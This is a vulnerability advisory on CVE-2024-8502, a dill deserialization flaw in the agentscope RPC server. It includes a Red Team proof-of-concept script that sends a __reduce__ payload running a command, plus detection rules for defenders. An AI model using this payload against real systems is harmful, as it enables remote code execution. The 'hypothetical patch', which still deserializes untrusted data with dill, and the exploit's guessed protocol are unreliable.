CVE-2024-8502

Executive Summary

CVE-2024-8502 is a critical remote code execution (RCE) vulnerability in the modelscope/agentscope package, version v0.0.6a3. The flaw resides in the RpcAgentServerLauncher class, specifically within the AgentServerServicer.create_agent method, which deserializes untrusted data using the dill library. An attacker can send a crafted serialized payload to trigger arbitrary command execution on the server. With a CVSS score of 9.8, this vulnerability is considered critical and requires immediate attention. No public exploit code or patch is currently available.

Supply Chain & Package Security

This vulnerability affects the PyPI package agentscope. Users should verify their installed version and monitor for updates. The use of the dill library for deserialization without proper validation introduces a significant supply chain risk, as malicious packages or dependencies could exploit this flaw.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The vulnerability is remotely exploitable without authentication, making it a high-priority threat for any system running the affected version.

Deep Dive & Mechanics

The vulnerability is a classic deserialization attack. The AgentServerServicer.create_agent method accepts serialized input from the network and passes it directly to dill.loads(). The dill library, like pickle, can execute arbitrary Python code during deserialization. An attacker can craft a malicious serialized object that, when deserialized, executes system commands.

The attack flow:

1. Attacker connects to the RPC server exposed by RpcAgentServerLauncher.
2. Attacker sends a crafted dill payload containing a malicious class with a __reduce__ method that executes arbitrary commands.
3. The server deserializes the payload using dill.loads(), triggering the malicious code.
4. The attacker gains remote code execution on the server.

Vulnerable vs. Patched Code

Vulnerable Code (v0.0.6a3):

class AgentServerServicer:
    def create_agent(self, request, context):
        agent_config = dill.loads(request.serialized_agent)
        # ... rest of the method

Patched Code (Hypothetical):

class AgentServerServicer:
    def create_agent(self, request, context):
        # Validate and sanitize input before deserialization
        if not self._validate_serialized_data(request.serialized_agent):
            context.abort(grpc.StatusCode.INVALID_ARGUMENT, "Invalid data")
        agent_config = dill.loads(request.serialized_agent)
        # ... rest of the method

The patch would involve input validation, using a safe deserialization method, or avoiding deserialization of untrusted data altogether.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install the vulnerable version: pip install agentscope==0.0.6a3
2. Start the RPC server: python -m agentscope.rpc_agent_server
3. Use the following exploit script:

import dill
import socket
import struct

class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('id',))

def send_payload(host, port):
    payload = dill.dumps(Exploit())
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((host, port))
    # Assuming a simple protocol; adjust based on actual RPC implementation
    sock.sendall(struct.pack('>I', len(payload)) + payload)
    sock.close()

if __name__ == '__main__':
    send_payload('127.0.0.1', 50051)

Explanation: The exploit creates a malicious class that executes the id command when deserialized. The payload is sent to the RPC server, which deserializes it and executes the command.

Blue Team

Detection:

• Monitor for unusual network connections to the RPC port (default 50051).
• Look for deserialization of large or suspicious payloads.
• Use the detection rules provided below.

Mitigation:

• Isolate the RPC server from untrusted networks.
• Implement input validation and allowlisting.
• Apply the patch as soon as it becomes available.

Indicators of Compromise (IOCs)

• Network: Connections to port 50051 (default RPC port) from unexpected sources.
• Process: Unusual child processes spawned by the Python process running agentscope.
• File: Unexpected files created in the server's working directory.
• Log: Entries in server logs indicating deserialization errors or unexpected data.

Detection Engineering

YARA Rule

rule CVE_2024_8502_Deserialization {
    meta:
        description = "Detects dill deserialization payloads targeting CVE-2024-8502"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-8502"
    strings:
        $dill_magic = { 80 04 95 }  // dill protocol 4 magic bytes
        $reduce_method = "__reduce__"
        $os_system = "os.system"
        $subprocess = "subprocess"
    condition:
        $dill_magic at 0 and ($reduce_method or $os_system or $subprocess)
}

Sigma Rule

title: CVE-2024-8502 - AgentScope RCE via dill Deserialization
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts of CVE-2024-8502 via network traffic
author: Valters IT
date: 2025-04-10
logsource:
    category: network_connection
    product: suricata
detection:
    selection:
        dest_port: 50051
        payload|contains: 
            - 'dill'
            - '__reduce__'
            - 'os.system'
    condition: selection
falsepositives:
    - Legitimate use of dill for serialization
level: critical

Suricata Rule

alert tcp any any -> any 50051 (msg:"CVE-2024-8502 - AgentScope RCE via dill Deserialization"; flow:to_server,established; content:"|80 04 95|"; depth:3; content:"__reduce__"; within:100; content:"os.system"; within:200; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable or isolate the RPC server if not required.
2. Short-term: Implement network-level access controls to restrict connections to the RPC port.
3. Long-term: Upgrade to a patched version once available. Monitor the official agentscope repository for updates.
4. Workaround: Modify the source code to validate or sanitize input before deserialization, or replace dill.loads with a safe alternative.

Valters IT
Securing Digital Frontiers